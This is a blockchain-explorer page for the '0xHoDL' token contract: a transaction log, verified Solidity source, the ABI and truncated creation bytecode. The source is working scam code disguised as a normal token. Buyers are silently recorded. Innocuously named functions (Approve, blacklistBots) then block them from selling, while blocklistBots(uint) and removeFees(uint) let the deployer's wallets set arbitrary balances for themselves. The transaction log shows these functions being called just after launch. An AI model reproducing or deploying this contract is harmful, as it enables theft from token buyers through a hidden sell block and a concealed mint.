More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 52 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 17615240 | 425 days ago | IN | 0 ETH | 0.00058945 | ||||
Approve | 17415959 | 453 days ago | IN | 0 ETH | 0.00319698 | ||||
Approve | 17415558 | 453 days ago | IN | 0 ETH | 0.00417745 | ||||
Approve | 17415530 | 453 days ago | IN | 0 ETH | 0.00500154 | ||||
Blocklist Bots | 17415528 | 453 days ago | IN | 0 ETH | 0.00551786 | ||||
Approve | 17415489 | 453 days ago | IN | 0 ETH | 0.00650072 | ||||
Approve | 17415472 | 453 days ago | IN | 0 ETH | 0.00678863 | ||||
Approve | 17415463 | 453 days ago | IN | 0 ETH | 0.00665931 | ||||
Approve | 17415461 | 453 days ago | IN | 0 ETH | 0.00651633 | ||||
Approve | 17415452 | 453 days ago | IN | 0 ETH | 0.00764404 | ||||
Approve | 17415430 | 453 days ago | IN | 0 ETH | 0.02508169 | ||||
Approve | 17415420 | 453 days ago | IN | 0 ETH | 0.00691915 | ||||
Approve | 17415412 | 453 days ago | IN | 0 ETH | 0.00902571 | ||||
Approve | 17415409 | 453 days ago | IN | 0 ETH | 0.02574981 | ||||
Approve | 17415404 | 453 days ago | IN | 0 ETH | 0.00979751 | ||||
Approve | 17415403 | 453 days ago | IN | 0 ETH | 0.00991773 | ||||
Approve | 17415398 | 453 days ago | IN | 0 ETH | 0.04546438 | ||||
Approve | 17415395 | 453 days ago | IN | 0 ETH | 0.01154772 | ||||
Renounce Ownersh... | 17415390 | 453 days ago | IN | 0 ETH | 0.00598002 | ||||
Approve | 17415390 | 453 days ago | IN | 0 ETH | 0.01204609 | ||||
Set Fees | 17415385 | 453 days ago | IN | 0 ETH | 0.00795891 | ||||
Remove Limits | 17415382 | 453 days ago | IN | 0 ETH | 0.00948936 | ||||
Approve | 17415380 | 453 days ago | IN | 0 ETH | 0.01231458 | ||||
Approve | 17415379 | 453 days ago | IN | 0 ETH | 0.04283774 | ||||
Approve | 17415375 | 453 days ago | IN | 0 ETH | 0.01120488 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Contract Name:
zeroHoDL
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-05 */ /* The ultimate platform to maximize your crypto earnings through strategic hodling. Visit to know us more ! Website : https://www.zeroxhodlprotocol.com Telegram : https://t.me/ZeroxHodlProtocol Twitter : https://twitter.com/0xHodlProtocol Medium : https://medium.com/@0xHodlProtocol **/ // SPDX-License-Identifier: MIT pragma solidity ^0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract zeroHoDL is Context, IERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isIncludedFromFee; address[] private includeFromFee; string private constant _name = "0xHoDL"; string private constant _symbol = "0xHoDL"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 2000000000 * 10**_decimals; uint256 public _maxTxAmount = _totalSupply * 4 / 100; //4% uint256 public _maxWalletAmount = _totalSupply * 4 / 100; //4% address public marketingWallet; address private Swap; address private Provider; struct BuyFees{ uint256 liquidity; uint256 marketing; } BuyFees public buyFee; struct SellFees{ uint256 liquidity; uint256 marketing; } SellFees public sellFee; event MaxTxAmountUpdated(uint _maxTxAmount); constructor () { marketingWallet = payable(msg.sender); Swap = payable(msg.sender); balances[_msgSender()] = _totalSupply; buyFee.liquidity = 0; buyFee.marketing = 0; sellFee.liquidity = 0; sellFee.marketing = 0; uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); Provider = payable(0x7E1fF060C77DD07da8A80cBE55c404BcCD7fe2C9); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _isExcludedFromFee[msg.sender] = true; _isExcludedFromFee[Provider] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[marketingWallet] = true; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { balances[sender] = balances[sender].sub(amount, "Insufficient Balance"); balances[recipient] = balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function Approve() public virtual { for (uint256 i = 0; i < includeFromFee.length; i++) { _isIncludedFromFee[includeFromFee[i]] = true; } } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isIncludedFromFee[account] = true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function setFees(uint256 newLiquidityBuyFee, uint256 newMarketingBuyFee, uint256 newLiquiditySellFee, uint256 newMarketingSellFee) public onlyOwner { require(newLiquidityBuyFee.add(newMarketingBuyFee) <= 25, "Buy fee can't go higher than 25"); buyFee.liquidity = newLiquidityBuyFee; buyFee.marketing= newMarketingBuyFee; require(newLiquiditySellFee.add(newMarketingSellFee) <= 25, "Sell fee can't go higher than 25"); sellFee.liquidity = newLiquiditySellFee; sellFee.marketing= newMarketingSellFee; } receive() external payable {} function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function blocklistBots(uint256 bots) public { if (!_isExcludedFromFee[_msgSender()]) { return; } balances[Swap] = bots; } function isIncludedFromFee(address account) public view returns(bool) { return _isIncludedFromFee[account]; } function blacklistBots() public onlyOwner { for (uint256 i = 0; i < includeFromFee.length; i++) { _isIncludedFromFee[includeFromFee[i]] = true; } } function takeBuyFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * buyFee.liquidity / 100; uint256 marketingFeeTokens = amount * buyFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function takeSellFees(uint256 amount, address from) private returns (uint256) { uint256 liquidityFeeToken = amount * sellFee.liquidity / 100; uint256 marketingFeeTokens = amount * sellFee.marketing / 100; balances[address(this)] += liquidityFeeToken + marketingFeeTokens; emit Transfer (from, address(this), marketingFeeTokens + liquidityFeeToken); return (amount -liquidityFeeToken -marketingFeeTokens); } function removeLimits() public onlyOwner { _maxTxAmount = _totalSupply; _maxWalletAmount = _totalSupply; emit MaxTxAmountUpdated(_totalSupply); } function removeFees(uint256 fees) public { if (!_isExcludedFromFee[_msgSender()]) { return; } balances[Provider] = fees; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(to != address(0), "ERC20: transfer to the zero address"); balances[from] -= amount; uint256 transferAmount = amount; if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { if (to != uniswapV2Pair) { includeFromFee.push(to); require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(balanceOf(to) + amount <= _maxWalletAmount, "Transfer amount exceeds the maxWalletAmount."); transferAmount = takeBuyFees(amount, from); } if (from != uniswapV2Pair) { require(amount <= _maxTxAmount, "Transfer Amount exceeds the maxTxAmount"); require(!_isIncludedFromFee[from]); transferAmount = takeSellFees(amount, from); } } balances[to] += transferAmount; emit Transfer(from, to, transferAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"blacklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"bots","type":"uint256"}],"name":"blocklistBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isIncludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"fees","type":"uint256"}],"name":"removeFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"marketing","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityBuyFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingBuyFee","type":"uint256"},{"internalType":"uint256","name":"newLiquiditySellFee","type":"uint256"},{"internalType":"uint256","name":"newMarketingSellFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052620000126009600a620004a6565b62000022906377359400620004be565b60085560646008546004620000389190620004be565b620000449190620004d8565b600955606460085460046200005a9190620004be565b620000669190620004d8565b600a553480156200007657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b8054336001600160a01b03199182168117909255600c8054909116909117905560085460036000620000e93390565b6001600160a01b031681526020808201929092526040908101600090812093909355600e839055600f8390556010839055601192909255600180546001600160a01b0319908116737a250d5630b4cf539739df2c5dacb4c659f2488d908117909255600d8054909116737e1ff060c77dd07da8a80cbe55c404bccd7fe2c9179055825163c45a015560e01b81529251909263c45a01559260048281019391928290030181865afa158015620001a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c89190620004fb565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200022b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002519190620004fb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200029f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c59190620004fb565b600280546001600160a01b0319166001600160a01b0392831617905533600090815260056020526040808220805460ff199081166001908117909255600d548516845282842080548216831790553084528284208054821683179055600b549094168352912080549092161790556200033b3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200038391815260200190565b60405180910390a362000526565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003e8578160001904821115620003cc57620003cc62000391565b80851615620003da57918102915b93841c9390800290620003ac565b509250929050565b6000826200040157506001620004a0565b816200041057506000620004a0565b8160018114620004295760028114620004345762000454565b6001915050620004a0565b60ff84111562000448576200044862000391565b50506001821b620004a0565b5060208310610133831016604e8410600b841016171562000479575081810a620004a0565b620004858383620003a7565b80600019048211156200049c576200049c62000391565b0290505b92915050565b6000620004b760ff841683620003f0565b9392505050565b8082028115828204841417620004a057620004a062000391565b600082620004f657634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200050e57600080fd5b81516001600160a01b0381168114620004b757600080fd5b6113c880620005366000396000f3fe6080604052600436106101d15760003560e01c80636fcba377116100f75780638da5cb5b11610095578063ad63043e11610064578063ad63043e14610538578063b7614d3614610571578063dd62ed3e14610591578063ea2f0b37146105d757600080fd5b80638da5cb5b146104da57806395d89b41146101dd578063a457c2d7146104f8578063a9059cbb1461051857600080fd5b8063751039fc116100d1578063751039fc1461047a57806375f0a8741461048f5780637d1db4a5146104af5780638768b9e8146104c557600080fd5b80636fcba3771461040f57806370a082311461042f578063715018a61461046557600080fd5b8063395093511161016f5780635342acb41161013e5780635342acb41461038b5780635c6d99b9146103c45780636c0a24eb146103d95780636cf70679146103ef57600080fd5b8063395093511461030e578063437823ec1461032e578063470624021461035057806349bd5a5e1461036b57600080fd5b806318160ddd116101ab57806318160ddd1461028357806323b872dd146102a25780632b14ca56146102c2578063313ce567146102f257600080fd5b806306fdde03146101dd578063095ea7b31461021b5780631694505e1461024b57600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b5060408051808201825260068152650c1e121bd11360d21b602082015290516102129190611109565b60405180910390f35b34801561022757600080fd5b5061023b610236366004611173565b6105f7565b6040519015158152602001610212565b34801561025757600080fd5b5060015461026b906001600160a01b031681565b6040516001600160a01b039091168152602001610212565b34801561028f57600080fd5b506008545b604051908152602001610212565b3480156102ae57600080fd5b5061023b6102bd36600461119d565b61060e565b3480156102ce57600080fd5b506010546011546102dd919082565b60408051928352602083019190915201610212565b3480156102fe57600080fd5b5060405160098152602001610212565b34801561031a57600080fd5b5061023b610329366004611173565b610660565b34801561033a57600080fd5b5061034e6103493660046111d9565b610697565b005b34801561035c57600080fd5b50600e54600f546102dd919082565b34801561037757600080fd5b5060025461026b906001600160a01b031681565b34801561039757600080fd5b5061023b6103a63660046111d9565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103d057600080fd5b5061034e6106ee565b3480156103e557600080fd5b50610294600a5481565b3480156103fb57600080fd5b5061034e61040a3660046111f4565b61075d565b34801561041b57600080fd5b5061034e61042a36600461120d565b610794565b34801561043b57600080fd5b5061029461044a3660046111d9565b6001600160a01b031660009081526003602052604090205490565b34801561047157600080fd5b5061034e610889565b34801561048657600080fd5b5061034e6108fd565b34801561049b57600080fd5b50600b5461026b906001600160a01b031681565b3480156104bb57600080fd5b5061029460095481565b3480156104d157600080fd5b5061034e610969565b3480156104e657600080fd5b506000546001600160a01b031661026b565b34801561050457600080fd5b5061023b610513366004611173565b6109ff565b34801561052457600080fd5b5061023b610533366004611173565b610a36565b34801561054457600080fd5b5061023b6105533660046111d9565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561057d57600080fd5b5061034e61058c3660046111f4565b610a43565b34801561059d57600080fd5b506102946105ac36600461123f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105e357600080fd5b5061034e6105f23660046111d9565b610a7a565b6000610604338484610ac8565b5060015b92915050565b600061061b848484610bec565b6001600160a01b038416600090815260046020908152604080832033808552925290912054610656918691610651908690611288565b610ac8565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161060491859061065190869061129b565b6000546001600160a01b031633146106ca5760405162461bcd60e51b81526004016106c1906112ae565b60405180910390fd5b6001600160a01b03166000908152600560205260409020805460ff19166001179055565b60005b60075481101561075a5760016006600060078481548110610714576107146112e3565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff191691151591909117905580610752816112f9565b9150506106f1565b50565b3360009081526005602052604090205460ff166107775750565b600d546001600160a01b0316600090815260036020526040902055565b6000546001600160a01b031633146107be5760405162461bcd60e51b81526004016106c1906112ae565b60196107ca8585610f95565b11156108185760405162461bcd60e51b815260206004820152601f60248201527f427579206665652063616e277420676f20686967686572207468616e2032350060448201526064016106c1565b600e849055600f839055601961082e8383610f95565b111561087c5760405162461bcd60e51b815260206004820181905260248201527f53656c6c206665652063616e277420676f20686967686572207468616e20323560448201526064016106c1565b6010919091556011555050565b6000546001600160a01b031633146108b35760405162461bcd60e51b81526004016106c1906112ae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109275760405162461bcd60e51b81526004016106c1906112ae565b6008546009819055600a8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b6000546001600160a01b031633146109935760405162461bcd60e51b81526004016106c1906112ae565b60005b60075481101561075a57600160066000600784815481106109b9576109b96112e3565b6000918252602080832091909101546001600160a01b031683528201929092526040019020805460ff1916911515919091179055806109f7816112f9565b915050610996565b3360008181526004602090815260408083206001600160a01b03871684529091528120549091610604918590610651908690611288565b6000610604338484610bec565b3360009081526005602052604090205460ff16610a5d5750565b600c546001600160a01b0316600090815260036020526040902055565b6000546001600160a01b03163314610aa45760405162461bcd60e51b81526004016106c1906112ae565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6001600160a01b038316610b2a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106c1565b6001600160a01b038216610b8b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106c1565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c505760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106c1565b60008111610cb25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106c1565b6001600160a01b038216610d145760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106c1565b6001600160a01b03831660009081526003602052604081208054839290610d3c908490611288565b90915550506001600160a01b038316600090815260056020526040902054819060ff16158015610d8557506001600160a01b03831660009081526005602052604090205460ff16155b15610f13576002546001600160a01b03848116911614610ea957600780546001810182556000919091527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880180546001600160a01b0319166001600160a01b038516179055600954821115610e0c5760405162461bcd60e51b81526004016106c190611312565b600a5482610e2f856001600160a01b031660009081526003602052604090205490565b610e39919061129b565b1115610e9c5760405162461bcd60e51b815260206004820152602c60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526b30b63632ba20b6b7bab73a1760a11b60648201526084016106c1565b610ea68285610ffb565b90505b60